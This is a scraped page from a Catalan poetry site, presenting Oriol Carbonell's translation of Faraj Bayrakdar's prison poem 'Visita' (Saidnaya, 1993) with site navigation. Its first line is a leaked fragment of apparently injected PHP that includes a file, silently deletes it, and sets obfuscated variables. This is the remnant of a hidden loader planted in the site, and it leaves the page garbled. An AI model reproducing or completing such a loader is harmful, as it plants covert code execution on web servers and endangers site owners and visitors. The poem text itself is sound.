");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Visita
Facebook Twitter

Visita

Traducció d'Oriol Carbonell

Finalment,
en contra del que és
habitual,
la meva estimada ha somrigut
a la crida del seu nom.
L’univers ho ha celebrat
afegint dos cels.
Les papallones han vestit
les seves ales
de llibertat pura.
Gràcies,
han dit els boscos
i han esbullat els seus cabells.
Gràcies, ha dit les gavines
i han agitat les seves ales
per desfer-se de la fatiga de les primers vols migratoris.
Gràcies,
han dit les ones,
fent la seva dansa
sobre una brisa marina amorosa.
Els camps de blat han galopat
i els somnis han esvaït la tempesta.
Déu s’ha reinstal·lat
a son tron de nou.

Finalment,
en contra del que és habitual,
la veu del policia ha tronat
anunciant el final de la visita.
Les finestres de la presó han tancat els seus ulls
i els murs s’han revestit
d’un intens color de vergonya.

Faraj Bayrakdar,

(Saidnaya, 26 / 1/ 1993)


Fragments
Parrupeig
Oriol Carbonell
Visita
Oriol Carbonell
Bibliografia
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Amb el suport de: